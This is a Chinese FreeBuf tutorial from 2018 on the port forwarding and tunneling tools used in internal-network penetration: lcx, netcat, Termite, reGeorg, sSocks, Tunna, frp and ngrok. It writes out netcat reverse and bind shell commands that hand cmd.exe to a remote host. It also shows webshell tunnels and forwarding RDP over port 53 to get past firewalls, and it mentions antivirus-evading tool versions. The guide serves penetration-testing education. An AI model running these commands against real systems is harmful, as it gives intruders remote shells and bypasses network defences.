*本文作者:Brucetg,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
理论上,任何接入互联网的计算机都是可访问的,但是如果目标主机处于内网,而我们又想和该目标主机进行通信的话,就需要借助一些端口转发工具来达到我们的目的
注:文中提到的所有工具下载地址 https://github.com/Brucetg/Pentest-tools
一、LCX
lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap,
Windows版使用方法如下:
lcx有两大功能:
1)端口转发(listen和slave成对使用)
2)端口映射(tran)
1、lcx 内网端口转发
1.内网主机上执行:lcx.exe –slave 公网主机ip 公网主机端口 内网主机ip 内网主机端口
例如:
lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389
意思是把内网主机的 3389 端口转发到具有公网ip主机的 4444 端口
2.公网主机 上执行 Lcx.exe –listen 公网主机端口1 公网主机端口2
例如:
lcx.exe –listen 4444 5555
意思是监听公网主机本机的 4444 端口请求,并将来自 4444 端口的请求传送给 5555 端口。
此时,RDP 连接,Windows 命令行下输入mstsc,即可打开远程桌面连接:
如果是在公网主机上操作,计算机那栏只需要输入 127.0.0.1:5555,即可;如果是在本地主机上操作,则输入 公网主机ip:5555 ,然后输入用户名和密码,即可连接到内网主机。
2、本地端口转发
由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口,
目标主机上执行:
lcx -tran 53 目标主机ip 3389
这时我们可以直接远程桌面连接到到 目标主机IP:53
注:软件可能会被杀软查杀,可自行寻找免杀版本。
Linux版使用方法:
例如:
先在具有公网ip的主机上执行:
./portmap -m 2 -p1 6666 -h2 公网主机ip -p2 7777
意思是监听来自6666端口的请求,将其转发到7777端口
再在内网主机上执行:
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 6666
意思就是将内网主机22端口的流量转发到公网主机的6666端口。
然后在Linux系统命令行下执行
ssh 公网主机ip 7777
即可连接内网主机。
二、nc 反弹
nc使用方法:
反向连接
在公网主机上进行监听:
nc -lvp 4444
在内网主机上执行:
nc -t -e cmd.exe 公网主机ip 4444
上述命令中 -t 参数是指通过telnet模式执行cmd.exe,可省略。
成功后即可得到一个内网主机的cmd shell。
正向连接
远程主机上执行:
nc -l -p 4444 -t -e cmd.exe
本地主机上执行:
nc -vv 远程主机ip 4444
成功后,本地主机就获得了远程主机的一个cmd shell。
三、socks代理工具
1). Termite 是EW(EarthWorm)的最新版,官方链接: http://rootkiter.com/Termite/
主要特性: 多平台支持、跳板机互联、正反向级联、小巧无依赖、内置Shell令主机管理更方便
使用方法,以Windows平台为例:
管理端:
客户端:
客户端执行:
agent_windows_x86.exe -l 4444
管理端执行:
admin_windows_x86.exe -c 127.0.0.1 -p 4444
将新的agent加入拓扑:
agent_windows_x86.exe -c 127.0.0.1 -p 4444
具体使用方法可参考: http://rootkiter.com/Termite/README.txt
Usage
1.以服务模式启动一个agent服务。
$ ./agent -l 8888
2.令管理端连接到agent并对agent进行管理。
$ ./admin -c 127.0.0.1 -p 8888
3.此时,admin端会得到一个内置的shell, 输入help指令可以得到帮助信息。
help
4.通过show指令可以得到当前agent的拓扑情况。
show 0M +– 1M 由于当前拓扑中只有一个agent,所以展示结果只有 1M , 其中1 为节点的ID号, M为MacOS系统的简写,Linux为L,Windows简写为W。
5.将新agent加入当前拓扑
./agent -c 127.0.0.1 -p 8888
6.此时show指令将得到如下效果 0M +– 1M | +– 2M 这表明,当前拓扑中有两个节点,其中由于2节点需要通过1节点才能访问,所以下挂在1节点下方。
7.在2节点开启socks代理,并绑定在本地端口
goto 2 将当前被管理节点切换为 2 号节点。socks 1080 此时,本地1080 端口会启动个监听服务,而服务提供者为2号节点。
8.在1号节点开启一个shell并绑定到本地端口
goto 1shell 7777 此时,通过nc本地的 7777 端口,就可以得到一个 1 节点提供的 shell.
9.将远程的文件下载至本地
goto 1downfile 1.txt 2.txt 将1 节点,目录下的 1.txt 下载至本地,并命名为2.txt
10.上传文件至远程节点
goto 2upfile 2.txt 3.txt 将本地的 2.txt 上传至 2号节点的目录,并命名为3.txt
11.端口转接
goto 2 lcxtran 3388 10.0.0.1 3389 以2号节点为跳板,将 10.0.0.1 的 3389 端口映射至本地的 3388 端口
视频教程:
http://rootkiter.com/toolvideo/toolmp4/1maintalk.mp4
2). reGeorg 工具地址: https://github.com/sensepost/reGeorg
reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。
使用方法(详见github):
3). sSocks 工具地址: http://sourceforge.net/projects/ssocks/
sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.14
下载解压后,执行命令编译。
./configure && make
(这里我提供的压缩包中该软件是已经编译好的!)
编译完成,进入src目录,会发现有nsocks、ssocksd、ssocks、rcsocks,其功能说明介绍如下:
程序功能:
nsocks 类似通过Socks5代理后的netcat,可用来测试socks server ssocksd 用来开启Socks5代理服务 ssocks 本地启用Socks5服务,并反弹到另一IP地址 rcsocks 接收反弹过来的Socks5服务,并转向另一端口
使用示例:
公网主机上执行:
./rcsocks -l 4444 -p 5555 -vv
内网主机上执行:
./rssocks –vv –s 公网主机ip:5555
这时本地主机可以通过访问公网主机的 4444 端口访问内网主机。
4). proxychains 工具地址址:http://proxychains.sourceforge.net/
Ubuntu 下可直接执行以下命令安装:
sudo apt-get update
sudo apt-get install proxychains
Proxychains 是一款 LINUX 平台下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上网,允許 TCP 和 DNS 通過代理隧道,支持 HTTP、SOCKS4、SOCKS5 類型的代理服务器,支持 proxy chain,即可配置多个代理,同一個 proxy chain 可使用不同类型的代理服务器。
网上有很多该工具的使用介绍,请自行根据需要查找。
5). Tunna 工具地址: https://github.com/SECFORCE/Tunna
该工具使用的先决条件:
能够在远程服务器上上传webshell
使用方法:
python proxy.py -u <remoteurl> -l <localport> [options]
options:
--help, -h 显示此帮助信息并退出
--url=URL, -u URL 为远程webshell的URL
--lport=LOCAL_PORT, -l LOCAL_PORT代表本地侦听端口
--verbose, -v 详细(输出数据包大小)
--buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP请求大小(一些网站对大小有限制)
No SOCKS Options:
如果使用SOCKS代理,选项将被忽略
--no-socks, -n 不使用 Socks 代理
--rport=REMOTE_PORT, -r REMOTE_PORT远程服务端口,供webshell连接
--addr=REMOTE_IP, -a REMOTE_IP 远程webshell连接到的地址(默认为 127.0.0.1)
上游代理选项:
通过本地代理进行隧道连接
--up-proxy=UPPROXY, -x UPPROXY上游代理(http://proxyserver.com:3128)
--auth, -A 上游代理需要认证
高级选项:
--ping-interval=PING_DELAY, -q PING_DELAY webshprx pinging线程间隔(默认值为0.5)
--start-ping, -s 首先启动ping线程 - 一些服务首先发送数据(例如,SSH)
--cookie, -C 请求cookies
--authentication, -t 基本认证
使用方法示例:
内网主机为Windows:
python proxy.py -u http://10.3.3.1/test/conn.aspx -l 4444 -r 3389 -v
其中:
-l 表示本地监听的端口
-r 远程要转发的端口
-v 详细模式
如果内网主机为Linux,则可以将22端口转发出来,更详细的使用方法请参考github上面的说明。
四、frp 内网穿透利器
frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp, http, https 协议。
工具地址: https://github.com/fatedier/frp
frp 的作用
利用处于内网或防火墙后的机器,对外网环境提供 http 或 https 服务。
对于 http, https 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80端口。
利用处于内网或防火墙后的机器,对外网环境提供 tcp 和 udp 服务,例如在家里通过 ssh 访问处于公司内网环境内的主机。
Windows平台文件目录如下:
其中frpc.ini和frpc_full.ini都为客户端配置文件,其中frpc_full.ini包括所有配置信息,我们可参考它来修改frpc.ini文件作为我们的配置文件,同理,frps.ini为服务器端配置文件。
frp服务端配置文件示例:
#frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
vhost_http_port = 80
vhost_https_port = 443
dashboard_port = 7500
dashboard_user = {username}
dashboard_pwd = {password}
privilege_mode = true
privilege_token = {privilege_token}
[http]
type = http
auth_token = {auth_token}
custom_domains = {cudtom_domains}
[https]
type = https
auth_token = {auth_token}
custom_domains = {custom_domains}
实际使用时请将上述配置中的花括号处内容替换为自己的配置。比如将 {username} 替换为 admin。
启动frp服务器端:
frps.exe -c frps.ini
浏览器访问: 127.0.0.1:7500,输入frps.ini中配置的用户名和密码即可进入控制面板:
frp客户端配置示例:
#frpc.ini
[common]
server_addr = xxx
server_port = 7000
auth_token = {auth_token}
privilege_token = {privilege_token}
[http]
type = http
local_ip = 127.0.0.1
local_port = 80
[https]
type = https
local_ip = 127.0.0.1
local_port = 443
[ssh]
type = tcp
local_port = 22
remote_port = 5555
注意frp客户端和服务端的 auth_token 和 privilege_token 等要保持一致。
启动frp客户端:
frpc.exe -c frpc.ini
更多使用方法详见 https://github.com/fatedier/frp/blob/master/README_zh.md
五、ngrok 内网穿透
工具地址: https://ngrok.com/download
ngrok支持Windows、Linux、Mac OS X等多个平台,可自行选择需要的版本来下载使用
分为免费版本和收费版本:
使用方法:
这里仅简单演示下Windows平台上的使用:
首先在内网主机上执行(内网主机需安装Python):
python -m SimpleHTTPServer 8089
我这里在Windows下用Python 2.7来演示,就执行:
py -2 -m SimpleHTTPServer 8089
将ngrok上传至内网主机并启动ngrok:
ngrok.exe http 8089
这时我们只需要在浏览器中访问:
http://cdb0e21b.ngrok.io
或者
https://cdb0e21b.ngrok.io
即可通过HTTP或者HTTPS来访问内网主机上的文件。
当然ngrok还有很多其他功能,更多使用方法请参考官方文档: https://ngrok.com/docs
六、总结
目前内网渗透中一般都会用到端口转发与代理,本文也只是列出了一些常见的工具,还有很多其他工具没有涉及到,希望能给大家带来一些帮助,有错误的话也欢迎指出,dalao们请轻喷2333。
参考链接:
http://www.zerokeeper.com/experience/network-port-forwarding-and-penetration.html
*本文作者:Brucetg,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
来源:freebuf.com 2018-05-16 12:30:50 by: Brucetg
请登录后发表评论
注册